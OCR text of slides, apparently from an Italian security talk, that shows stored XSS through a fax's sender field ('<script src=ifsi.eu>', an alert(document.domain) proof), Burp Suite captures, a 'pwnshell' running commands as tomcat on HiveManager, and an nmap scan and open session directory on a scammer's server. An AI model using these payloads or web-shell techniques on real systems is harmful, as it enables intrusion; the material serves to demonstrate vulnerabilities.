Login: ﬂ FAX RICEVUTI FAXINVIATI RUBRICA HELP LOGOUT
FAX RICEVUTI

g FAX RICEVUTI > Oggi 09/11/2016 12.40

iZ) Elenco fax della giornata Linea fax: [ *** TUTTE LE LINEE *=* E]

€l Ricerca tra i fax ricevuti

#l/ Cestino (fax cancellati)

&N Erron
il Cestina | fax selezionati & Seleziona tutto 7] Deseleziona tutto

TEST

Linea fax File Inoltra Data Ora N. Fax Mittente Pag. Descrizione Stato Cartella ]

-

L7 - 57 (TEST] "'z 09/11/2016  12.24 1 Fax ricevuto da COMPLETATO - 240715

— —
. 20161109_122450_00006.pdf - Adobe Reader
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A £ PAGINA: 001 DI

Pagina 1 di 1

Prova test invio FAX 1 di 2
Paolo
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£ Pil visitati MNessus

Login: ﬂ FAX RICEVUTI FAXINVIATI RUBRICA HELP LOGOUT

FAX RICEVUTI
e FAX RICEVUTI > Oggi 09/11/2016 12.42

iZ) Elenco fax della giornata Linea fax: [ **= TUTTE LE LINEE *=*[]

4 Ricerca tra i fax ricevuti

#l/ Cestino (fax cancellati)

&N Erron
il Cestina | fax selezionati & Seleziona tutto 7] Deseleziona tutio

TEST

Linea fax File Inoltra Data Ora N. Fax Mittente Oggetic  Pag. Descrizione Stato Cartella 1]

-

L7 - 57 (TEST] 3 "z 09/11/2016 1227 1 Fax ricevuto da COMPLETATO -

— —
"\ 20161109_122718_00007 pdf - Adobe Reader
l.FiIe Modifica Vista Finestra ?

(2 ]| o1% | = - Strumenti | Compila e firma . Commento

From: <script src=ifsi.eu> Page: 111 Date: 09/11/2016 12.27.18
1/2016 12:26 DAt cipt sr Al PAGINAD 001 DI

Pagina 1 di 1

Prova test invio FAX 2 di 2
Paolo




s/ Elenco fax della giornata
LU Ricerca tra | fax ricevuti
i) Cestino (fax cancellati)
Al Errori

n FAX RICEVUTI | FAXINVIATI RUBRICA HELP LOGOUT

FAX RICEVUTI > Oggl 0911/2016 12.29

=i per gru

uto.

[7] Deseleriona tuito

Linea fax inoltra Data Ora N. Fax Miftente Oggetto  Pag. Descrizione Stato

57 (TEST) N 3L oaMRmE | 1237

Cartella

4]
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€ P A

B Pid visitati 0 Nessus

File Modifica Visualizza Aiuto

(ale:t {document.domain); alert("JavaScript arbitrario viene eseguito!'"); )
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£l Piu visitati Nessus

|
Logir

FAX RICEVUTI

iZ) Elenco fax della giornata
&Y Ricerca tra i fax ricevuti
il Cestino (fax cancellati)

&8 Errori

ﬂ FAX RICEVUTI FAXINVIATI RUBRICA HELP LOGOUT

FAX RICEVUTI > Oggi 09/11/2016 12.34

Linea fax: | *** TUTTE LE LINEE *** [+]

won cestinati, ric

= 1a i fax selezionati @ Seleziona tutio

Linea fax File Inoltra Ora N. Fax Mittente  Oggetto  Pag. Descrizione

L7 - 57 (TEST) T 19/11/2016 1 |Fax ricavuto da

Stato

COMPLETATO

Cartella




Login:
FAX RICEVUTI

iz Elenco fax della giornata
€l Ricerca tra i fax ricevuti
i) Cestino (fax cancellati)

&8 Erron

ﬂ FAX RICEVUTI FAXINVIATI RUBRICA HELP LOGOUT

FAX RICEVUTI > Oggi 09/11/2016 12.44

Linea fax: |""r TUTTE LE LINEE mm-il

Elenco fax non ¢

ﬁ Cestina i fax selezionati

TEST

ER Sl tutto

.
Messaggio dalla pagina Web

=5=)

Linea fax

L7 -57 (TEST)

File

-

D Deseieziona tutto

ggetto  Pag. Descrizione

Stato

Cartella

]




]
Login: m FAXRICEVUTI FAXINVIATI RUBRICA HELP LOGOUT
FAX RICEVUTI

FAX RICEVUTI > Oggi 09/11/2016 12.31

iZ) Elenco fax della giornata Linea fax: |*** TUTTE LE LINEE *** ﬂ

& Ricerca tra i fax ricevuti edenti §
licca sullic

i) Cestino (fax cancellati)
&8 Errori

[ a i fax selezionati @ Seleziona tutto D Deseleziona

Linea fax File Inolira N. Fax Mittente = Oggetic Pag. Descrizione Stato Cartella D

1 |Fax ricevuto da COMPLETATO - #4078
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‘ Burp Suite Professional v1.6.32 o mm

Burp Intruder Repeater Window Help
[ Target ]’Pruxyw Spider ] Scanner I Intruder ] Repeater ’ Sequencer ‘ Decoder | Comparer I Extender J Options [Neﬂs ]
intercept | HTTP histosy | WebSockets history | Options |

| Filter: Hiding specific extensions

# & Host Method | URL Params | Edited MIME type | Extension | Title
https:/ . GET ! T 0O 0 HTML =
hitps:/ l GET =] B = HTML asp
hitps:/ GET = (] HTML asp
hitps:/ GET HTML asp
hitps:4

=l
f_W GET = HTHL asp
hﬂps:.-. ' l GET i

(] ' HTML

Request | Response
[ Raw | Headers [ Hex | HTHL | Render |

1.1 200 OK

icroenfr JTIS/7 0
ASPSESSTONIDCEASCAQD=ENGLLNFBIOCOFIFLDEJJELCHH; secure; path=/: Ertl:-C-nly)
X=POWELEN-BYT ASP.NET
Options: AMECRIGIN
ent-Type-Options: nosniff
Ved, 09 Nov ZOl€ 1l:48:349 GHT
Connection: clo:

ontent-Type" content="tex ; charset=iso-8B859-1">

0 malches
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Prova test invio FAX 1di 2 Prova test invio FAX 2 di 2
Paola Paola

mhtml:mid://00000033/ 08/11/2016 mhtml:mid://00000036/ 08/11/2016
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welcome to pwnshell! -

Executing: pwd
/HiveManager/tomcat
Executing: id

uid=501(tomcat) gid=501(tomcat) groups=501(tomcat)






ciao
Ciao

per caso ti interessano giga illimitati su

lol come?

1 new message

con una vpn che ho inventato io che
fa spoofing dei pacchetti tim vuoi
provare?




~  BUTWHENII DO MAKE SURESTHEY"
~FEEL'AT;HOME'WITH|FULLSYSTEM/ACCESS




Vediamo cosa ha inventato?!?1

client

dev tun

proto tcp

remote %* % % X %* % % X %* % % X %* % % 53
resolv-retry infinite
remote-random

nobind

tun-mtu 1500
tun-mtu-extra 32

mssfix 1450






org-name: Mario Rozzi

org-type: OTHER

address: via Antani, 42

address: 00123 ***x%* B¥xj

address: IT

e-mail: theworst@rozziposta.it
abuse-mailbox: theworst@rozziposta.it

phone c 430 I3k kkkhkkkhkkhkkk



[+] Nmap scan report for ******************)
Host is up (0.0091s latency).
Not shown: 92 closed ports

PORT STATE SERVICE VERSION

53/tcp open domain?

80/tcp open http Apache httpd 2.4.26
((Win32) OpenSSL/1.0.21 PHP/7.1.7) Scan with
Web Server Scanner

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn

443/tcp open ssl/http Apache httpd 2.4.26
((Win32) OpenSSL/1.0.21 PHP/7.1.7) Scan with
Web Server Scanner

445/tcp filtered microsoft-ds

3306/tcp open mysql?

3389/tcp open ms-wbt-server?
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Index of /storage/framework/sessions
Name Last modified Size Description
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Apache/2.4.26 (Win32) OpenSSL/1.0.21 PHP/7.1.7 Server at







Environment Configuration

It is often helpful to have different configuration values based on the environment where the application is running. For example,

you may wish to use a different cache driver locally than you do on your production server,

To make this a cinch, Laravel utilizes the DotEnv PHP library by Vance Lucas. In a fresh Laravel installation, the root directory of

our application will containa env.=xample file. If you install Laravel via Composer, this file will automatically be renamed
O!hem‘ise, you should rename the file manually.
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